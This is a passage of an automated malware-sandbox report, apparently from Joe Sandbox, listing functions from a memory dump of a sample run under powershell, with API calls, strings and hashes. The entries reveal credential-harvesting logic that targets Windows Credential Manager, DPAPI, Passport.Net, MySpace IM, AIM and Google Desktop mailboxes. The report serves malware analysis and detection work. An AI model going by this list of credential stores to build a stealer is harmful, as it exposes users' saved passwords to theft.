sprintf.MSVCRT ref: 00406868
MessageBoxA.USER32(?,?,Error,00000030), ref: 00406881

Strings

Error, xrefs: 00406872
Error %d: %s, xrefs: 00406862

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ErrorLastMessagesprintf
String ID: Error$Error %d: %s
API String ID: 1670431679-1552265934
Opcode ID: 36d162438dc91d31452d3ddaed1ce93054fc777c1344ba0c13efd454db99335c
Instruction ID: 390cea375f2136b4ea19b9d86a6fd2b83de258ebf73c3752b6ef921ad7f75954
Opcode Fuzzy Hash: 36d162438dc91d31452d3ddaed1ce93054fc777c1344ba0c13efd454db99335c
Instruction Fuzzy Hash: 5CF0ECB780020877CB11A754CC05FD676BCBB84704F1540BAB905F2140FF74DA458FA8

Function 004108FA Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

memset.MSVCRT ref: 00410939
memset.MSVCRT ref: 0041097A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$AddressLibraryLoadProc
String ID:
API String ID: 95357979-0
Opcode ID: 3302643975eb3434f4358ab3f025d73aba831524dacbebe51815e8c7a7d14f38
Instruction ID: c4421e9d11457ef95cabe1857e087483fdaed0180908bfd30e84e21e9d597d19
Opcode Fuzzy Hash: 3302643975eb3434f4358ab3f025d73aba831524dacbebe51815e8c7a7d14f38
Instruction Fuzzy Hash: 6F5139B1C1021DAADF10DF95CD819EEB7BCBF18348F4001AAE605B2251E7789B84CB64

Function 0040C929 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0040C96C
memcpy.MSVCRT ref: 0040C996
memcpy.MSVCRT ref: 0040C9BA

Strings

@, xrefs: 0040C983
@, xrefs: 0040C9A8

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpy
String ID: @$@
API String ID: 3510742995-149943524
Opcode ID: 77fc6db62da11d4799c937781f1bf202b3f83c4704148cc1087516cdf216477c
Instruction ID: 666a53640e029d8b41511af47e133ff9607f2a84e66000161f6e85dafd6cdb1f
Opcode Fuzzy Hash: 77fc6db62da11d4799c937781f1bf202b3f83c4704148cc1087516cdf216477c
Instruction Fuzzy Hash: 7C115BF2A00709ABCB248F25ECC0DAA77A8EB50344B00033FFD0696291E634DE49C6D9

Function 00410B95 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 62stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410BB7
memset.MSVCRT ref: 00410BCE
strlen.MSVCRT ref: 00410BEA
strlen.MSVCRT ref: 00410BF9

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

MySpace\IM\users.txt, xrefs: 00410BE4, 00410BE9, 00410C0D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memsetstrlen$_mbscat_mbscpy
String ID: MySpace\IM\users.txt
API String ID: 779718277-1720829597
Opcode ID: 3e02ad04ea574821ad089c52dbc2ff5089a47234be35b4f74d739cd638fffc46
Instruction ID: 202a42f0f95dfe566303623c375a0ffeb092d6a880f5aac0c7a4f490a513d9c5
Opcode Fuzzy Hash: 3e02ad04ea574821ad089c52dbc2ff5089a47234be35b4f74d739cd638fffc46
Instruction Fuzzy Hash: 3511CA7390411C6AD710EA51EC85EDB777C9F61305F1404FBE549E2042EEB89FC88BA5

Function 0040A455 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

memset.MSVCRT ref: 0040A48B

Part of subcall function 0041244B: memcpy.MSVCRT ref: 004124B9

Part of subcall function 00409DD6: _mbscpy.MSVCRT ref: 00409DDB
Part of subcall function 00409DD6: _strlwr.MSVCRT ref: 00409E1E

sprintf.MSVCRT ref: 0040A4D0

Strings

</item>, xrefs: 0040A4EA
<item>, xrefs: 0040A45F
<%s>%s</%s>, xrefs: 0040A4C8

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileWrite_mbscpy_strlwrmemcpymemsetsprintfstrlen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 3337535707-2769808009
Opcode ID: 3c2db06bff03dcf5fd4fdc9aafb8c3b6a106532d81ea05e082948edd07be60db
Instruction ID: 35c3a08c9f4b1e8506f5bd30b0a1229d9af700aff423b6f7980a7f41b92f6d4d
Opcode Fuzzy Hash: 3c2db06bff03dcf5fd4fdc9aafb8c3b6a106532d81ea05e082948edd07be60db
Instruction Fuzzy Hash: E811E731500616BFD711AF15CC42E9ABB68FF0831CF10402AF409665A1EB76B974CB88

Function 0040B1EC Relevance: 7.6, APIs: 5, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 0040B233

Part of subcall function 0040671B: LoadCursorA.USER32(00000000,00007F02), ref: 00406722
Part of subcall function 0040671B: SetCursor.USER32(00000000), ref: 00406729

SendMessageA.USER32(?,00001009,00000000,00000000), ref: 0040B256

Part of subcall function 004028E7: GetModuleHandleA.KERNEL32(00000000), ref: 00402902
Part of subcall function 004028E7: GetProcAddress.KERNEL32(00000000,00000000), ref: 00402924
Part of subcall function 004028E7: FreeLibrary.KERNEL32(00000000), ref: 00402934

SetCursor.USER32(?,?,0040C35B), ref: 0040B286
SetFocus.USER32(?,?,?,0040C35B), ref: 0040B298
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 0040B2AF

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CursorMessageSend$AddressFocusFreeHandleLibraryLoadModuleProc
String ID:
API String ID: 1022157474-0
Opcode ID: b84fe70da1aaf1055744e1b632632b9f496727907b48f7315893cd4c83107089
Instruction ID: acf4f1a7ad8cb56491b263665e164ee1eacf8da490df75951db8ca09a257b5c1
Opcode Fuzzy Hash: b84fe70da1aaf1055744e1b632632b9f496727907b48f7315893cd4c83107089
Instruction Fuzzy Hash: 5C111235200204AFDB16AF55CC85FD537ADFF49708F0A40B9FD099F2A2CBB569108B68

Function 00408A69 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00408A7B
GetWindowRect.USER32(?,?), ref: 00408A88
GetClientRect.USER32(00000000,?), ref: 00408A93
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00408AA3
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00408ABF

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: 3aa8e274ce559d31e536c38d989a921174712bd1f9a65828c633d0b3e27811af
Instruction ID: 47fd7c03741454bdc7a166d99d5f54bcb442ad9a41c6e05a353417ffaf8a91e2
Opcode Fuzzy Hash: 3aa8e274ce559d31e536c38d989a921174712bd1f9a65828c633d0b3e27811af
Instruction Fuzzy Hash: 0F014832901129BBDB11DBA5DC49EFFBFBCEF86750F04802AFD11A2140D77895018BA5

Function 0040A627 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A64A
memset.MSVCRT ref: 0040A660

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

Part of subcall function 00409DD6: _mbscpy.MSVCRT ref: 00409DDB
Part of subcall function 00409DD6: _strlwr.MSVCRT ref: 00409E1E

sprintf.MSVCRT ref: 0040A697

Strings

<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 0040A665
<%s>, xrefs: 0040A691

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$FileWrite_mbscpy_strlwrsprintfstrlen
String ID: <%s>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3699762281-1998499579
Opcode ID: ab5707da10e36317461923ea0a964ffd6f4046b5a0df19b15fd79c1ac8c7a337
Instruction ID: 800cbe4d2eb2546f00b8b879064eadffaf4e9ad3efc3a30f3f6e1286e630d524
Opcode Fuzzy Hash: ab5707da10e36317461923ea0a964ffd6f4046b5a0df19b15fd79c1ac8c7a337
Instruction Fuzzy Hash: 92012B7294021977DB21A715CC46FDA7B6CAF14709F0400BBB50DF3082DB789B848BA4

Function 00409370 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040937C
??3@YAXPAX@Z.MSVCRT ref: 0040938A
??3@YAXPAX@Z.MSVCRT ref: 0040939B
??3@YAXPAX@Z.MSVCRT ref: 004093B2
??3@YAXPAX@Z.MSVCRT ref: 004093BB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: f3ce8d52872a8f30b96e2fbf292860e550b06a588b426c696271bbab4e9a7e1e
Instruction ID: fe66dba444066183ee9975a3477c76674c14659d363ac613d024ab661048b2ad
Opcode Fuzzy Hash: f3ce8d52872a8f30b96e2fbf292860e550b06a588b426c696271bbab4e9a7e1e
Instruction Fuzzy Hash: 25F0FF726097015BD7209FAAB5C059BB7E9BB49725B60193FF54DD3682C738BC808A1C

Function 004093D6 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040937C
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040938A
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040939B
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 004093B2
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 004093BB

??3@YAXPAX@Z.MSVCRT ref: 004093F1
??3@YAXPAX@Z.MSVCRT ref: 00409404
??3@YAXPAX@Z.MSVCRT ref: 00409417
??3@YAXPAX@Z.MSVCRT ref: 0040942A
??3@YAXPAX@Z.MSVCRT ref: 0040943E

Part of subcall function 00407491: ??3@YAXPAX@Z.MSVCRT ref: 00407498

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 357df7679b5183844f9cf7c0e0a5eff30521e66585b521188fe12c199d1cf3ea
Instruction ID: 09cfe481c9f5149ef6062cf2713671c90beccbfb684cd0f5c8863379cec44e3f
Opcode Fuzzy Hash: 357df7679b5183844f9cf7c0e0a5eff30521e66585b521188fe12c199d1cf3ea
Instruction Fuzzy Hash: 67F06232D0E53167C9257F26B00158EA7646E46725315426FF8097B3D3CF3C6D8146EE

Function 00411B27 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00406B6F: memset.MSVCRT ref: 00406B8F
Part of subcall function 00406B6F: GetClassNameA.USER32(?,00000000,000000FF), ref: 00406BA2
Part of subcall function 00406B6F: _strcmpi.MSVCRT ref: 00406BB4

SetBkMode.GDI32(?,00000001), ref: 00411B4E
GetSysColor.USER32(00000005), ref: 00411B56
SetBkColor.GDI32(?,00000000), ref: 00411B60
SetTextColor.GDI32(?,00C00000), ref: 00411B6E
GetSysColorBrush.USER32(00000005), ref: 00411B76

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Color$BrushClassModeNameText_strcmpimemset
String ID:
API String ID: 2775283111-0
Opcode ID: 4c6c90dc6369ed9def7ad49a685608b6b97007b198ef546a8f3c4911ca2b9476
Instruction ID: b9af807899647846139a12986955ac2cc84645abd360b6802fc8b760439410eb
Opcode Fuzzy Hash: 4c6c90dc6369ed9def7ad49a685608b6b97007b198ef546a8f3c4911ca2b9476
Instruction Fuzzy Hash: 92F03136104504FBDF112FA5EC09FDE3F25EF44721F10812AFA19951B1DB75A9A09B58

Function 0040FF88 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 00404109: LoadLibraryA.KERNEL32(advapi32.dll,00000000,0040FFAB,75B4EC10,?,?,?,?,?,?,?,?,?,?,?,0040DB18), ref: 00404116
Part of subcall function 00404109: GetProcAddress.KERNEL32(00000000,CredReadW), ref: 0040412F
Part of subcall function 00404109: GetProcAddress.KERNEL32(?,CredFree), ref: 0040413B
Part of subcall function 00404109: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00404147

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,00000000,?,?,?), ref: 0041005B
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000,?,00000000,?,?,?), ref: 00410071
LocalFree.KERNEL32(?,?,00000000,?,?,?), ref: 0041007D

Strings

Passport.Net\*, xrefs: 0040FFCA

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryLoadMultiWide$FreeLocal
String ID: Passport.Net\*
API String ID: 4171712514-3671122194
Opcode ID: 4033d74ea8b7e7d1449d062c3a122578251190037a8d9eb515b0a5cc15d38eb4
Instruction ID: a8053254f1e515f4d897164d33fe2023de59da6d422685d1f9c73d0263123044
Opcode Fuzzy Hash: 4033d74ea8b7e7d1449d062c3a122578251190037a8d9eb515b0a5cc15d38eb4
Instruction Fuzzy Hash: 9231F7B1D01129AADB10DF95DC44EDEBBB8FF49750F11406BF610A7250D7789A81CBA8

Function 00410AC5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileSize.KERNEL32(00000000,00000000,MySpace\IM\users.txt,00000104,00000000,?,?,?,?,00410C45,?,00000000), ref: 00410AE7

Part of subcall function 00407A56: ??3@YAXPAX@Z.MSVCRT ref: 00407A5D
Part of subcall function 00407A56: ??2@YAPAXI@Z.MSVCRT ref: 00407A6B

Part of subcall function 00406ED6: ReadFile.KERNELBASE(?,?,?,00000000,00000000,00000001,?,00404269,00000000,00000000,00000000), ref: 00406EED

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000,?,?,?,?,?,?,?,00410C45), ref: 00410B64

Part of subcall function 004108FA: memset.MSVCRT ref: 00410939

CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00410C45,?,00000000), ref: 00410B78

Strings

MySpace\IM\users.txt, xrefs: 00410ACD

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: File$??2@??3@ByteCharCloseCreateHandleMultiReadSizeWidememset
String ID: MySpace\IM\users.txt
API String ID: 429556018-1720829597
Opcode ID: 9ecfc60a0865bdac6d3c577decf5946b40f4711ca6fbc71636231e6ee1035587
Instruction ID: 28eca0bbeff0950369e7ada1521615d79b3b69832f60dc8e7f5924118cda3e2e
Opcode Fuzzy Hash: 9ecfc60a0865bdac6d3c577decf5946b40f4711ca6fbc71636231e6ee1035587
Instruction Fuzzy Hash: 21217171C0424AEFCF00DFA9CC458DEBB74EF41328B158166E924772A1C634AA45CBA5

Function 00402834 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 00402873

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

RegCloseKey.ADVAPI32(?), ref: 004028C2
RegCloseKey.ADVAPI32(?), ref: 004028DF

Strings

Software\AIM\AIMPRO, xrefs: 00402841

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Close$EnumOpenmemset
String ID: Software\AIM\AIMPRO
API String ID: 2255314230-3527110354
Opcode ID: dded90e1ec05a9ac15428789d49d31d8fd58391a594f54d73697f6d07bfadf32
Instruction ID: 67585355273d4b01a1114a6cd89f6c97ebf6c1cbf8b7b4d496df69d3c229a794
Opcode Fuzzy Hash: dded90e1ec05a9ac15428789d49d31d8fd58391a594f54d73697f6d07bfadf32
Instruction Fuzzy Hash: 48115E76904118BADF21A792ED06FDE7B7CDF54304F0000B6AA44E1091EB756FD5DA64

Function 00407BC6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 00407C05

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

RegCloseKey.ADVAPI32(?), ref: 00407C54
RegCloseKey.ADVAPI32(?), ref: 00407C71

Strings

Software\Google\Google Desktop\Mailboxes, xrefs: 00407BD5

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Close$EnumOpenmemset
String ID: Software\Google\Google Desktop\Mailboxes
API String ID: 2255314230-2212045309
Opcode ID: b50ec71faf233748746677e360152f00ca846f408f6190e6d0fa9129bc25d888
Instruction ID: a9c93927ac610b6ef28ec82afd47bdb8c9c4627465144405bf34b6a811739c17
Opcode Fuzzy Hash: b50ec71faf233748746677e360152f00ca846f408f6190e6d0fa9129bc25d888
Instruction Fuzzy Hash: E9115EB6D04118BADF21AB91EC41FDEBB7CDF55304F0041B6BA04E1051E7756B94CEA9

Function 00403BF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403C1F
_mbscmp.MSVCRT ref: 00403C42
_mbsicmp.MSVCRT ref: 00403C75

Strings

:@, xrefs: 00403C06

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscmp_mbsicmpmemset
String ID: :@
API String ID: 1080945674-3074689909
Opcode ID: fc6b87c77e97942f29d542673130d1b31dda64e9daeb6a0660619c666916343b
Instruction ID: 05d51c46cf4b3144aa59074ae4edee5e5c3f47845a6acae635e5c8c721b5e64e
Opcode Fuzzy Hash: fc6b87c77e97942f29d542673130d1b31dda64e9daeb6a0660619c666916343b
Instruction Fuzzy Hash: 9911867250C3459AD720EEA5E809BDB77DCEB84315F004D3FF594E3181E7749609879A

Function 0041051F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 0041053E

Part of subcall function 0040FD01: memset.MSVCRT ref: 0040FD18
Part of subcall function 0040FD01: memset.MSVCRT ref: 0040FD21

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00410570
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00410587

Strings

windowslive:name=, xrefs: 00410533

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ByteCharMultiWidememset$_wcsnicmp
String ID: windowslive:name=
API String ID: 947294041-3311407311
Opcode ID: fd4d89018f6d8f297b5807dfdb0caed421d73eceed85ab27545bd491571ae371
Instruction ID: aaacd06d763df2f40df435721f5dd751edfa9d120b015f6101ff871e9026a9e8
Opcode Fuzzy Hash: fd4d89018f6d8f297b5807dfdb0caed421d73eceed85ab27545bd491571ae371
Instruction Fuzzy Hash: A80184B6604209BFD710DF59DC84DD77BECEB49364F10462ABA28D72A1D630DD04CBA0

Function 0040F2E1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040F325
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040F339
_wcsnicmp.MSVCRT ref: 0040F347

Strings

http://www.imvu.com, xrefs: 0040F33F

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ByteCharMultiWide$_wcsnicmp
String ID: http://www.imvu.com
API String ID: 1082246498-3717390816
Opcode ID: d858862f83375720269192bc115d82f05b3495ae824a477da88cd8a016989edf
Instruction ID: a621eff572e40bce3e368aabcc4a0ad2a08d37bae4b59898fbad6a548f86f146
Opcode Fuzzy Hash: d858862f83375720269192bc115d82f05b3495ae824a477da88cd8a016989edf
Instruction Fuzzy Hash: CD1152B2544349AED7309E599C84EEB7FACEB89364F10062EB96892191D7305A14C6B2

Function 00410894 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 004108AE
memcpy.MSVCRT ref: 004108C0
DialogBoxParamA.USER32(0000006B,?,Function_000105A6,00000000), ref: 004108E4

Strings

;4, xrefs: 004108C0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpy$DialogParam
String ID: ;4
API String ID: 392721444-4181167889
Opcode ID: c5f1268ccc674415783c8697f9a32e79e000757815ba7d6e947a1f9e053f7934
Instruction ID: 2aaa1d25541d53f243854b8b99eb4e9492d8e88977a0f1258d463d5600498ee3
Opcode Fuzzy Hash: c5f1268ccc674415783c8697f9a32e79e000757815ba7d6e947a1f9e053f7934
Instruction Fuzzy Hash: 86F0A771A44730BBF7216F55BC06BC67A91AB08B06F218036F545A51D0C3B925D08FDC

Function 00406B6F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406B8F
GetClassNameA.USER32(?,00000000,000000FF), ref: 00406BA2
_strcmpi.MSVCRT ref: 00406BB4

Strings

edit, xrefs: 00406BAE

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ClassName_strcmpimemset
String ID: edit
API String ID: 275601554-2167791130
Opcode ID: 1fc934d62d77a70a9e396aa4a7c9eacbfe567db38c0b85652fff254433e2e45d
Instruction ID: aca7036e1f85a757735cd09c7bf6aa39e2ce89dfda263754777898d954571a1f
Opcode Fuzzy Hash: 1fc934d62d77a70a9e396aa4a7c9eacbfe567db38c0b85652fff254433e2e45d
Instruction Fuzzy Hash: 61E09BB3C5012A6ADB11AA64EC05FE5376C9F54705F0001F6B949E2081E5B457C44B94

Function 00401085 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A19: memset.MSVCRT ref: 00406A23
Part of subcall function 00406A19: _mbscpy.MSVCRT ref: 00406A63

CreateFontIndirectA.GDI32(?), ref: 004010AA
GetDlgItem.USER32(?,000003EC), ref: 004010BA
SendMessageA.USER32(00000000,00000030,?,00000000), ref: 004010C7

Strings

MS Sans Serif, xrefs: 00401090

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CreateFontIndirectItemMessageSend_mbscpymemset
String ID: MS Sans Serif
API String ID: 2650341901-168460110
Opcode ID: e4ca45643e333f1720333046815af32c43876757aaae09a92ca8bc646b2ccae1
Instruction ID: 5c9505941c48c8dd7a2399cb1aaf590a0077e647136f214fd0fe6491ebdd60b9
Opcode Fuzzy Hash: e4ca45643e333f1720333046815af32c43876757aaae09a92ca8bc646b2ccae1
Instruction Fuzzy Hash: 67E06D71A40604FBCB116BA0EC0AFCABB6CAB44700F108125FA51B60E1D7B0A114CB88

Function 00412192 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(shell32.dll,00412251,00000000,00000104), ref: 004121A0
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 004121B5

Strings

shell32.dll, xrefs: 0041219B
SHGetSpecialFolderPathA, xrefs: 004121AF

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathA$shell32.dll
API String ID: 2574300362-543337301
Opcode ID: 65bafe7a062dc340e9a6b521779d20cd872f84261b23a2d66ef8095fb01f6124
Instruction ID: a03a44e40ad870f41b9c2d8f2e6b277420dcc77a40eb9148cfb32e265f33a348
Opcode Fuzzy Hash: 65bafe7a062dc340e9a6b521779d20cd872f84261b23a2d66ef8095fb01f6124
Instruction Fuzzy Hash: 2ED0C978A00302EBEB20DF61BD597D63FA8A74C711F20C036F905D2262DBB865D0CA2C

Function 00412D65 Relevance: 6.3, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 00406D91: memset.MSVCRT ref: 00406D9F

??2@YAPAXI@Z.MSVCRT ref: 00412D7A
??2@YAPAXI@Z.MSVCRT ref: 00412D98
??2@YAPAXI@Z.MSVCRT ref: 00412DB3
??2@YAPAXI@Z.MSVCRT ref: 00412DDC
??2@YAPAXI@Z.MSVCRT ref: 00412E00

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

